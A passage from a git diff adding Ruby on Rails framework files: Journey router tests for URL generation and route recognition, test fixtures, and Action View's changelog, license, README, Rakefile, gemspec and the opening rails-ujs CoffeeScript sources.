+        path, _ = @formatter.generate(nil, Hash[params], {})
+        assert_equal "/", path
+      end
+
+      def test_generate_calls_param_proc
+        get "/:controller(/:action)", to: "foo#bar"
+
+        parameterized = []
+        params = [ [:controller, "tasks"],
+                   [:action, "show"] ]
+
+        @formatter.generate(
+          nil,
+          Hash[params],
+          {},
+          lambda { |k, v| parameterized << [k, v]; v })
+
+        assert_equal params.map(&:to_s).sort, parameterized.map(&:to_s).sort
+      end
+
+      def test_generate_id
+        get "/:controller(/:action)", to: "foo#bar"
+
+        path, params = @formatter.generate(
+          nil, { id: 1, controller: "tasks", action: "show" }, {})
+        assert_equal "/tasks/show", path
+        assert_equal({ id: 1 }, params)
+      end
+
+      def test_generate_escapes
+        get "/:controller(/:action)", to: "foo#bar"
+
+        path, _ = @formatter.generate(nil,
+          { controller: "tasks",
+                 action: "a/b c+d",
+        }, {})
+        assert_equal "/tasks/a%2Fb%20c+d", path
+      end
+
+      def test_generate_escapes_with_namespaced_controller
+        get "/:controller(/:action)", to: "foo#bar"
+
+        path, _ = @formatter.generate(
+          nil, { controller: "admin/tasks",
+                 action: "a/b c+d",
+        }, {})
+        assert_equal "/admin/tasks/a%2Fb%20c+d", path
+      end
+
+      def test_generate_extra_params
+        get "/:controller(/:action)", to: "foo#bar"
+
+        path, params = @formatter.generate(
+          nil, { id: 1,
+                 controller: "tasks",
+                 action: "show",
+                 relative_url_root: nil
+        }, {})
+        assert_equal "/tasks/show", path
+        assert_equal({ id: 1, relative_url_root: nil }, params)
+      end
+
+      def test_generate_missing_keys_no_matches_different_format_keys
+        get "/:controller/:action/:name", to: "foo#bar"
+        primarty_parameters = {
+          id: 1,
+          controller: "tasks",
+          action: "show",
+          relative_url_root: nil
+        }
+        redirection_parameters = {
+          "action" => "show",
+        }
+        missing_key = "name"
+        missing_parameters = {
+          missing_key => "task_1"
+        }
+        request_parameters = primarty_parameters.merge(redirection_parameters).merge(missing_parameters)
+
+        message = "No route matches #{Hash[request_parameters.sort_by { |k, v|k.to_s }].inspect}, missing required keys: #{[missing_key.to_sym].inspect}"
+
+        error = assert_raises(ActionController::UrlGenerationError) do
+          @formatter.generate(
+            nil, request_parameters, request_parameters)
+        end
+        assert_equal message, error.message
+      end
+
+      def test_generate_uses_recall_if_needed
+        get "/:controller(/:action(/:id))", to: "foo#bar"
+
+        path, params = @formatter.generate(
+          nil,
+          { controller: "tasks", id: 10 },
+          action: "index")
+        assert_equal "/tasks/index/10", path
+        assert_equal({}, params)
+      end
+
+      def test_generate_with_name
+        get "/:controller(/:action)", to: "foo#bar", as: "tasks"
+
+        path, params = @formatter.generate(
+          "tasks",
+          { controller: "tasks" },
+          controller: "tasks", action: "index")
+        assert_equal "/tasks", path
+        assert_equal({}, params)
+      end
+
+      {
+        "/content"          => { controller: "content" },
+        "/content/list"     => { controller: "content", action: "list" },
+        "/content/show/10"  => { controller: "content", action: "show", id: "10" },
+      }.each do |request_path, expected|
+        define_method("test_recognize_#{expected.keys.map(&:to_s).join('_')}") do
+          get "/:controller(/:action(/:id))", to: "foo#bar"
+          route = @routes.first
+
+          env = rails_env "PATH_INFO" => request_path
+          called = false
+
+          router.recognize(env) do |r, params|
+            assert_equal route, r
+            assert_equal({ action: "bar" }.merge(expected), params)
+            called = true
+          end
+
+          assert called
+        end
+      end
+
+      {
+        segment: ["/a%2Fb%20c+d/splat", { segment: "a/b c+d", splat: "splat"   }],
+        splat: ["/segment/a/b%20c+d", { segment: "segment", splat: "a/b c+d" }]
+      }.each do |name, (request_path, expected)|
+        define_method("test_recognize_#{name}") do
+          get "/:segment/*splat", to: "foo#bar"
+
+          env = rails_env "PATH_INFO" => request_path
+          called = false
+          route = @routes.first
+
+          router.recognize(env) do |r, params|
+            assert_equal route, r
+            assert_equal(expected.merge(controller: "foo", action: "bar"), params)
+            called = true
+          end
+
+          assert called
+        end
+      end
+
+      def test_namespaced_controller
+        get "/:controller(/:action(/:id))", controller: /.+?/
+        route = @routes.first
+
+        env = rails_env "PATH_INFO" => "/admin/users/show/10"
+        called   = false
+        expected = {
+          controller: "admin/users",
+          action: "show",
+          id: "10"
+        }
+
+        router.recognize(env) do |r, params|
+          assert_equal route, r
+          assert_equal(expected, params)
+          called = true
+        end
+        assert called
+      end
+
+      def test_recognize_literal
+        get "/books(/:action(.:format))", controller: "books"
+        route = @routes.first
+
+        env = rails_env "PATH_INFO" => "/books/list.rss"
+        expected = { controller: "books", action: "list", format: "rss" }
+        called = false
+        router.recognize(env) do |r, params|
+          assert_equal route, r
+          assert_equal(expected, params)
+          called = true
+        end
+
+        assert called
+      end
+
+      def test_recognize_head_route
+        match "/books(/:action(.:format))", via: "head", to: "foo#bar"
+
+        env = rails_env(
+          "PATH_INFO" => "/books/list.rss",
+          "REQUEST_METHOD" => "HEAD"
+        )
+
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert called
+      end
+
+      def test_recognize_head_request_as_get_route
+        get "/books(/:action(.:format))", to: "foo#bar"
+
+        env = rails_env "PATH_INFO" => "/books/list.rss",
+                        "REQUEST_METHOD" => "HEAD"
+
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert called
+      end
+
+      def test_recognize_cares_about_get_verbs
+        match "/books(/:action(.:format))", to: "foo#bar", via: :get
+
+        env = rails_env "PATH_INFO" => "/books/list.rss",
+                        "REQUEST_METHOD" => "POST"
+
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert_not called
+      end
+
+      def test_recognize_cares_about_post_verbs
+        match "/books(/:action(.:format))", to: "foo#bar", via: :post
+
+        env = rails_env "PATH_INFO" => "/books/list.rss",
+                        "REQUEST_METHOD" => "POST"
+
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert called
+      end
+
+      def test_multi_verb_recognition
+        match "/books(/:action(.:format))", to: "foo#bar", via: [:post, :get]
+
+        %w( POST GET ).each do |verb|
+          env = rails_env "PATH_INFO" => "/books/list.rss",
+            "REQUEST_METHOD" => verb
+
+          called = false
+          router.recognize(env) do |r, params|
+            called = true
+          end
+
+          assert called
+        end
+
+        env = rails_env "PATH_INFO" => "/books/list.rss",
+          "REQUEST_METHOD" => "PUT"
+
+        called = false
+        router.recognize(env) do |r, params|
+          called = true
+        end
+
+        assert_not called
+      end
+
+      private
+
+        def get(*args)
+          ActiveSupport::Deprecation.silence do
+            mapper.get(*args)
+          end
+        end
+
+        def match(*args)
+          ActiveSupport::Deprecation.silence do
+            mapper.match(*args)
+          end
+        end
+
+        def rails_env(env, klass = ActionDispatch::Request)
+          klass.new(rack_env(env))
+        end
+
+        def rack_env(env)
+          {
+            "rack.version"      => [1, 1],
+            "rack.input"        => StringIO.new,
+            "rack.errors"       => StringIO.new,
+            "rack.multithread"  => true,
+            "rack.multiprocess" => true,
+            "rack.run_once"     => false,
+            "REQUEST_METHOD"    => "GET",
+            "SERVER_NAME"       => "example.org",
+            "SERVER_PORT"       => "80",
+            "QUERY_STRING"      => "",
+            "PATH_INFO"         => "/content",
+            "rack.url_scheme"   => "http",
+            "HTTPS"             => "off",
+            "SCRIPT_NAME"       => "",
+            "CONTENT_LENGTH"    => "0"
+          }.merge env
+        end
+    end
+  end
+end
diff --git a/actionpack/test/journey/routes_test.rb b/actionpack/test/journey/routes_test.rb
new file mode 100644
index 0000000000..81ce07526f
--- /dev/null
+++ b/actionpack/test/journey/routes_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Journey
+    class TestRoutes < ActiveSupport::TestCase
+      attr_reader :routes, :mapper
+
+      def setup
+        @route_set = ActionDispatch::Routing::RouteSet.new
+        @routes = @route_set.router.routes
+        @router = @route_set.router
+        @mapper = ActionDispatch::Routing::Mapper.new @route_set
+        super
+      end
+
+      def test_clear
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
+        assert_not_predicate routes, :empty?
+        assert_equal 1, routes.length
+
+        routes.clear
+        assert routes.empty?
+        assert_equal 0, routes.length
+      end
+
+      def test_ast
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
+        ast = routes.ast
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "gorby"
+        assert_not_equal ast, routes.ast
+      end
+
+      def test_simulator_changes
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
+        sim = routes.simulator
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "gorby"
+        assert_not_equal sim, routes.simulator
+      end
+
+      def test_partition_route
+        mapper.get "/foo(/:id)", to: "foo#bar", as: "aaron"
+
+        assert_equal 1, @routes.anchored_routes.length
+        assert_predicate @routes.custom_routes, :empty?
+
+        mapper.get "/hello/:who", to: "foo#bar", as: "bar", who: /\d/
+
+        assert_equal 1, @routes.custom_routes.length
+        assert_equal 1, @routes.anchored_routes.length
+      end
+
+      def test_first_name_wins
+        mapper.get "/hello", to: "foo#bar", as: "aaron"
+        assert_raise(ArgumentError) do
+          mapper.get "/aaron", to: "foo#bar", as: "aaron"
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/lib/controller/fake_controllers.rb b/actionpack/test/lib/controller/fake_controllers.rb
new file mode 100644
index 0000000000..e985716f43
--- /dev/null
+++ b/actionpack/test/lib/controller/fake_controllers.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class ContentController < ActionController::Base; end
+
+module Admin
+  class AccountsController < ActionController::Base; end
+  class PostsController < ActionController::Base; end
+  class StuffController < ActionController::Base; end
+  class UserController < ActionController::Base; end
+  class UsersController < ActionController::Base; end
+end
+
+module Api
+  class UsersController < ActionController::Base; end
+  class ProductsController < ActionController::Base; end
+end
+
+class AccountController < ActionController::Base; end
+class ArchiveController < ActionController::Base; end
+class ArticlesController < ActionController::Base; end
+class BarController < ActionController::Base; end
+class BlogController < ActionController::Base; end
+class BooksController < ActionController::Base; end
+class CarsController < ActionController::Base; end
+class CcController < ActionController::Base; end
+class CController < ActionController::Base; end
+class FooController < ActionController::Base; end
+class GeocodeController < ActionController::Base; end
+class NewsController < ActionController::Base; end
+class NotesController < ActionController::Base; end
+class PagesController < ActionController::Base; end
+class PeopleController < ActionController::Base; end
+class PostsController < ActionController::Base; end
+class SubpathBooksController < ActionController::Base; end
+class SymbolsController < ActionController::Base; end
+class UserController < ActionController::Base; end
+class UsersController < ActionController::Base; end
diff --git a/actionpack/test/lib/controller/fake_models.rb b/actionpack/test/lib/controller/fake_models.rb
new file mode 100644
index 0000000000..01c7ec26ae
--- /dev/null
+++ b/actionpack/test/lib/controller/fake_models.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require "active_model"
+
+Customer = Struct.new(:name, :id) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  undef_method :to_json
+
+  def to_xml(options = {})
+    if options[:builder]
+      options[:builder].name name
+    else
+      "<name>#{name}</name>"
+    end
+  end
+
+  def to_js(options = {})
+    "name: #{name.inspect}"
+  end
+  alias :to_text :to_js
+
+  def errors
+    []
+  end
+
+  def persisted?
+    id.present?
+  end
+
+  def cache_key
+    "#{name}/#{id}"
+  end
+end
+
+Post = Struct.new(:title, :author_name, :body, :secret, :persisted, :written_on, :cost) do
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+  extend ActiveModel::Translation
+
+  alias_method :secret?, :secret
+  alias_method :persisted?, :persisted
+
+  def initialize(*args)
+    super
+    @persisted = false
+  end
+
+  attr_accessor :author
+  def author_attributes=(attributes); end
+
+  attr_accessor :comments, :comment_ids
+  def comments_attributes=(attributes); end
+
+  attr_accessor :tags
+  def tags_attributes=(attributes); end
+end
+
+class Comment
+  extend ActiveModel::Naming
+  include ActiveModel::Conversion
+
+  attr_reader :id
+  attr_reader :post_id
+  def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
+  def to_key; id ? [id] : nil end
+  def save; @id = 1; @post_id = 1 end
+  def persisted?; @id.present? end
+  def to_param; @id.to_s; end
+  def name
+    @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
+  end
+
+  attr_accessor :relevances
+  def relevances_attributes=(attributes); end
+
+  attr_accessor :body
+end
diff --git a/actionpack/test/routing/helper_test.rb b/actionpack/test/routing/helper_test.rb
new file mode 100644
index 0000000000..d13b043b0b
--- /dev/null
+++ b/actionpack/test/routing/helper_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ActionDispatch
+  module Routing
+    class HelperTest < ActiveSupport::TestCase
+      class Duck
+        def to_param
+          nil
+        end
+      end
+
+      def test_exception
+        rs = ::ActionDispatch::Routing::RouteSet.new
+        rs.draw do
+          resources :ducks do
+            member do
+              get :pond
+            end
+          end
+        end
+
+        x = Class.new {
+          include rs.url_helpers
+        }
+        assert_raises ActionController::UrlGenerationError do
+          x.new.pond_duck_path Duck.new
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/test/tmp/.gitignore b/actionpack/test/tmp/.gitignore
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/tmp/.gitignore
diff --git a/actionview/.gitignore b/actionview/.gitignore
new file mode 100644
index 0000000000..0a04b29786
--- /dev/null
+++ b/actionview/.gitignore
@@ -0,0 +1,2 @@
+/lib/assets/compiled
+/tmp
diff --git a/actionview/CHANGELOG.md b/actionview/CHANGELOG.md
new file mode 100644
index 0000000000..5bc93fcb5b
--- /dev/null
+++ b/actionview/CHANGELOG.md
@@ -0,0 +1,29 @@
+*   Add `srcset` option to `image_tag` helper.
+
+    *Roberto Miranda*
+
+*   Fix issues with scopes and engine on `current_page?` method.
+
+    Fixes #29401.
+
+    *Nikita Savrov*
+
+*   Generate field ids in `collection_check_boxes` and `collection_radio_buttons`.
+
+    This makes sure that the labels are linked up with the fields.
+
+    Fixes #29014.
+
+    *Yuji Yaginuma*
+
+*   Add `:json` type to `auto_discovery_link_tag` to support [JSON Feeds](https://jsonfeed.org/version/1)
+
+    *Mike Gunderloy*
+
+*   Update `distance_of_time_in_words` helper to display better error messages
+    for bad input.
+
+    *Jay Hayes*
+
+
+Please check [5-1-stable](https://github.com/rails/rails/blob/5-1-stable/actionview/CHANGELOG.md) for previous changes.
diff --git a/actionview/MIT-LICENSE b/actionview/MIT-LICENSE
new file mode 100644
index 0000000000..ac810e86d0
--- /dev/null
+++ b/actionview/MIT-LICENSE
@@ -0,0 +1,21 @@
+Copyright (c) 2004-2017 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
diff --git a/actionview/README.rdoc b/actionview/README.rdoc
new file mode 100644
index 0000000000..7a3e5e31d0
--- /dev/null
+++ b/actionview/README.rdoc
@@ -0,0 +1,38 @@
+= Action View
+
+Action View is a framework for handling view template lookup and rendering, and provides
+view helpers that assist when building HTML forms, Atom feeds and more.
+Template formats that Action View handles are ERB (embedded Ruby, typically
+used to inline short Ruby snippets inside HTML), and XML Builder.
+
+== Download and installation
+
+The latest version of Action View can be installed with RubyGems:
+
+  $ gem install actionview
+
+Source code can be downloaded as part of the Rails project on GitHub
+
+* https://github.com/rails/rails/tree/master/actionview
+
+
+== License
+
+Action View is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at
+
+* http://api.rubyonrails.org
+
+Bug reports can be filed for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
diff --git a/actionview/RUNNING_UJS_TESTS.rdoc b/actionview/RUNNING_UJS_TESTS.rdoc
new file mode 100644
index 0000000000..a575624a06
--- /dev/null
+++ b/actionview/RUNNING_UJS_TESTS.rdoc
@@ -0,0 +1,7 @@
+== Running UJS tests
+
+Ensure that you can build the project and run tests.
+Run rake ujs:server first, and then run the web tests by
+visiting http://localhost:4567 in your browser.
+
+rake ujs:server
diff --git a/actionview/RUNNING_UNIT_TESTS.rdoc b/actionview/RUNNING_UNIT_TESTS.rdoc
new file mode 100644
index 0000000000..6c4e5e983a
--- /dev/null
+++ b/actionview/RUNNING_UNIT_TESTS.rdoc
@@ -0,0 +1,27 @@
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://docs.seattlerb.org/rake/.
+
+== Running by hand
+
+To run a single test suite
+
+   rake test TEST=path/to/test.rb
+
+which can be further narrowed down to one test:
+
+   rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
+
+== Dependency on Active Record and database setup
+
+Test cases in the test/activerecord/ directory depend on having
+activerecord and sqlite3 installed. If Active Record is not in
+actionview/../activerecord directory, or the sqlite3 rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionview without any configuration.
+
diff --git a/actionview/Rakefile b/actionview/Rakefile
new file mode 100644
index 0000000000..0d974cb087
--- /dev/null
+++ b/actionview/Rakefile
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+require "rake/testtask"
+require "fileutils"
+require "open3"
+
+desc "Default Task"
+task default: :test
+
+task package: %w( assets:compile assets:verify )
+
+# Run the unit tests
+
+desc "Run all unit tests"
+task test: ["test:template", "test:integration:action_pack", "test:integration:active_record"]
+
+namespace :test do
+  task :isolated do
+    Dir.glob("test/{actionpack,activerecord,template}/**/*_test.rb").all? do |file|
+      sh(Gem.ruby, "-w", "-Ilib:test", file)
+    end || raise("Failures")
+  end
+
+  Rake::TestTask.new(:template) do |t|
+    t.libs << "test"
+    t.test_files = Dir.glob("test/template/**/*_test.rb")
+    t.warning = true
+    t.verbose = true
+    t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+  end
+
+  task :ujs do
+    begin
+      Dir.mkdir("log")
+      pid = spawn("bundle exec rackup test/ujs/config.ru -p 4567 -s puma > log/test.log 2>&1")
+
+      start_time = Time.now
+
+      loop do
+        break if system("lsof -i :4567 >/dev/null")
+
+        if Time.now - start_time > 5
+          puts "Timed out after 5 seconds"
+          exit 1
+        end
+      end
+
+      system("npm run lint && phantomjs ../ci/phantomjs.js http://localhost:4567/")
+      status = $?.to_i
+    ensure
+      Process.kill("KILL", pid) if pid
+      FileUtils.rm_rf("log")
+    end
+
+    exit status
+  end
+
+  namespace :integration do
+    desc "ActiveRecord Integration Tests"
+    Rake::TestTask.new(:active_record) do |t|
+      t.libs << "test"
+      t.test_files = Dir.glob("test/activerecord/*_test.rb")
+      t.warning = true
+      t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    end
+
+    desc "ActionPack Integration Tests"
+    Rake::TestTask.new(:action_pack) do |t|
+      t.libs << "test"
+      t.test_files = Dir.glob("test/actionpack/**/*_test.rb")
+      t.warning = true
+      t.verbose = true
+      t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
+    end
+  end
+end
+
+namespace :ujs do
+  desc "Starts the test server"
+  task :server do
+    system "bundle exec rackup test/ujs/config.ru -p 4567 -s puma"
+  end
+end
+
+namespace :assets do
+  desc "Compile Action View assets"
+  task :compile do
+    require "blade"
+    require "sprockets"
+    require "sprockets/export"
+    Blade.build
+  end
+
+  desc "Verify compiled Action View assets"
+  task :verify do
+    file = "lib/assets/compiled/rails-ujs.js"
+    pathname = Pathname.new("#{__dir__}/#{file}")
+
+    print "[verify] #{file} exists "
+    if pathname.exist?
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]"
+      fail
+    end
+
+    print "[verify] #{file} is a UMD module "
+    if pathname.read =~ /module\.exports.*define\.amd/m
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]"
+      fail
+    end
+
+    print "[verify] #{__dir__} can be required as a module "
+    js = <<-JS
+      window = { Event: class {} }
+      class Element {}
+      require('#{__dir__}')
+    JS
+    _, stderr, status = Open3.capture3("node", "--print", js)
+    if status.success?
+      puts "[OK]"
+    else
+      $stderr.puts "[FAIL]\n#{stderr}"
+      fail
+    end
+  end
+end
+
+task :lines do
+  load File.join(File.expand_path("..", __dir__), "/tools/line_statistics")
+  files = FileList["lib/**/*.rb"]
+  CodeTools::LineStatistics.new(files).print_loc
+end
diff --git a/actionview/actionview.gemspec b/actionview/actionview.gemspec
new file mode 100644
index 0000000000..b99137fcf6
--- /dev/null
+++ b/actionview/actionview.gemspec
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
+
+Gem::Specification.new do |s|
+  s.platform    = Gem::Platform::RUBY
+  s.name        = "actionview"
+  s.version     = version
+  s.summary     = "Rendering framework putting the V in MVC (part of Rails)."
+  s.description = "Simple, battle-tested conventions and helpers for building web pages."
+
+  s.required_ruby_version = ">= 2.2.2"
+
+  s.license = "MIT"
+
+  s.author   = "David Heinemeier Hansson"
+  s.email    = "david@loudthinking.com"
+  s.homepage = "http://rubyonrails.org"
+
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
+  s.require_path = "lib"
+  s.requirements << "none"
+
+  s.metadata = {
+    "source_code_uri" => "https://github.com/rails/rails/tree/v#{version}/actionview",
+    "changelog_uri"   => "https://github.com/rails/rails/blob/v#{version}/actionview/CHANGELOG.md"
+  }
+
+  s.add_dependency "activesupport", version
+
+  s.add_dependency "builder",       "~> 3.1"
+  s.add_dependency "erubi",         "~> 1.4"
+  s.add_dependency "rails-html-sanitizer", "~> 1.0", ">= 1.0.3"
+  s.add_dependency "rails-dom-testing", "~> 2.0"
+
+  s.add_development_dependency "actionpack",  version
+  s.add_development_dependency "activemodel", version
+end
diff --git a/actionview/app/assets/javascripts/MIT-LICENSE b/actionview/app/assets/javascripts/MIT-LICENSE
new file mode 100644
index 0000000000..befcbdc7b7
--- /dev/null
+++ b/actionview/app/assets/javascripts/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2007-2017 Rails Core team
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/actionview/app/assets/javascripts/README.md b/actionview/app/assets/javascripts/README.md
new file mode 100644
index 0000000000..f321b9f720
--- /dev/null
+++ b/actionview/app/assets/javascripts/README.md
@@ -0,0 +1,60 @@
+Ruby on Rails unobtrusive scripting adapter.
+========================================
+
+This unobtrusive scripting support file is developed for the Ruby on Rails framework, but is not strictly tied to any specific backend. You can drop this into any application to:
+
+- force confirmation dialogs for various actions;
+- make non-GET requests from hyperlinks;
+- make forms or hyperlinks submit data asynchronously with Ajax;
+- have submit buttons become automatically disabled on form submit to prevent double-clicking.
+
+These features are achieved by adding certain ["data" attributes][data] to your HTML markup. In Rails, they are added by the framework's template helpers.
+
+Requirements
+------------
+
+- HTML5 doctype (optional).
+
+If you don't use HTML5, adding "data" attributes to your HTML4 or XHTML pages might make them fail [W3C markup validation][validator]. However, this shouldn't create any issues for web browsers or other user agents.
+
+Installation using npm
+------------
+
+Run `npm install rails-ujs --save` to install the rails-ujs package.
+
+Installation using Yarn
+------------
+
+Run `yarn add rails-ujs` to install the rails-ujs package.
+
+Usage
+------------
+
+Require `rails-ujs` in your application.js manifest.
+
+```javascript
+//= require rails-ujs
+```
+
+Usage with yarn
+------------
+
+When using with the Webpacker gem or your preferred JavaScript bundler, just
+add the following to your main JS file and compile.
+
+```javascript
+import Rails from 'rails-ujs';
+Rails.start()
+```
+
+How to run tests
+------------
+
+Run `bundle exec rake ujs:server` first, and then run the web tests by visiting http://localhost:4567 in your browser.
+
+## License
+rails-ujs is released under the [MIT License](MIT-LICENSE).
+
+[data]: http://www.w3.org/TR/html5/dom.html#embedding-custom-non-visible-data-with-the-data-*-attributes "Embedding custom non-visible data with the data-* attributes"
+[validator]: http://validator.w3.org/
+[csrf]: http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection.html
diff --git a/actionview/app/assets/javascripts/rails-ujs.coffee b/actionview/app/assets/javascripts/rails-ujs.coffee
new file mode 100644
index 0000000000..bd6e9bb881
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs.coffee
@@ -0,0 +1,39 @@
+#= require ./rails-ujs/BANNER
+#= export Rails
+#= require_self
+#= require_tree ./rails-ujs/utils
+#= require_tree ./rails-ujs/features
+#= require ./rails-ujs/start
+
+@Rails =
+  # Link elements bound by rails-ujs
+  linkClickSelector: 'a[data-confirm], a[data-method], a[data-remote]:not([disabled]), a[data-disable-with], a[data-disable]'
+
+  # Button elements bound by rails-ujs
+  buttonClickSelector:
+    selector: 'button[data-remote]:not([form]), button[data-confirm]:not([form])'
+    exclude: 'form button'
+
+  # Select elements bound by rails-ujs
+  inputChangeSelector: 'select[data-remote], input[data-remote], textarea[data-remote]'
+
+  # Form elements bound by rails-ujs
+  formSubmitSelector: 'form'
+
+  # Form input elements bound by rails-ujs
+  formInputClickSelector: 'form input[type=submit], form input[type=image], form button[type=submit], form button:not([type]), input[type=submit][form], input[type=image][form], button[type=submit][form], button[form]:not([type])'
+
+  # Form input elements disabled during form submission
+  formDisableSelector: 'input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled'
+
+  # Form input elements re-enabled after form submission
+  formEnableSelector: 'input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled'
+
+  # Form file input elements
+  fileInputSelector: 'input[name][type=file]:not([disabled])'
+
+  # Link onClick disable selector with possible reenable after remote submission
+  linkDisableSelector: 'a[data-disable-with], a[data-disable]'
+
+  # Button onClick disable selector with possible reenable after remote submission
+  buttonDisableSelector: 'button[data-remote][data-disable-with], button[data-remote][data-disable]'
diff --git a/actionview/app/assets/javascripts/rails-ujs/BANNER.js b/actionview/app/assets/javascripts/rails-ujs/BANNER.js
new file mode 100644
index 0000000000..47ecd66003
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/BANNER.js
@@ -0,0 +1,5 @@
+/*
+Unobtrusive JavaScript
+https://github.com/rails/rails/blob/master/actionview/app/assets/javascripts
+Released under the MIT license
+ */
diff --git a/actionview/app/assets/javascripts/rails-ujs/features/confirm.coffee b/actionview/app/assets/javascripts/rails-ujs/features/confirm.coffee
new file mode 100644
index 0000000000..72b5aaa218
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/features/confirm.coffee
@@ -0,0 +1,26 @@
+#= require_tree ../utils
+
+{ fire, stopEverything } = Rails
+
+Rails.handleConfirm = (e) ->
+  stopEverything(e) unless allowAction(this)
+
+# For 'data-confirm' attribute:
+# - Fires `confirm` event
+# - Shows the confirmation dialog
+# - Fires the `confirm:complete` event
+#
+# Returns `true` if no function stops the chain and user chose yes `false` otherwise.
+# Attaching a handler to the element's `confirm` event that returns a `falsy` value cancels the confirmation dialog.
+# Attaching a handler to the element's `confirm:complete` event that returns a `falsy` value makes this function
+# return false. The `confirm:complete` event is fired whether or not the user answered true or false to the dialog.
+allowAction = (element) ->
+  message = element.getAttribute('data-confirm')
+  return true unless message
+
+  answer = false
+  if fire(element, 'confirm')
+    try answer = confirm(message)
+    callback = fire(element, 'confirm:complete', [answer])
+
+  answer and callback
diff --git a/actionview/app/assets/javascripts/rails-ujs/features/disable.coffee b/actionview/app/assets/javascripts/rails-ujs/features/disable.coffee
new file mode 100644
index 0000000000..90aa3bdf0e
--- /dev/null
+++ b/actionview/app/assets/javascripts/rails-ujs/features/disable.coffee
@@ -0,0 +1,82 @@
+#= require_tree ../utils
+
+{ matches, getData, setData, stopEverything, formElements } = Rails
+
+Rails.handleDisabledElement = (e) ->
+  element = this
+  stopEverything(e) if element.disabled
+
+# Unified function to enable an element (link, button and form)
+Rails.enableElement = (e) ->
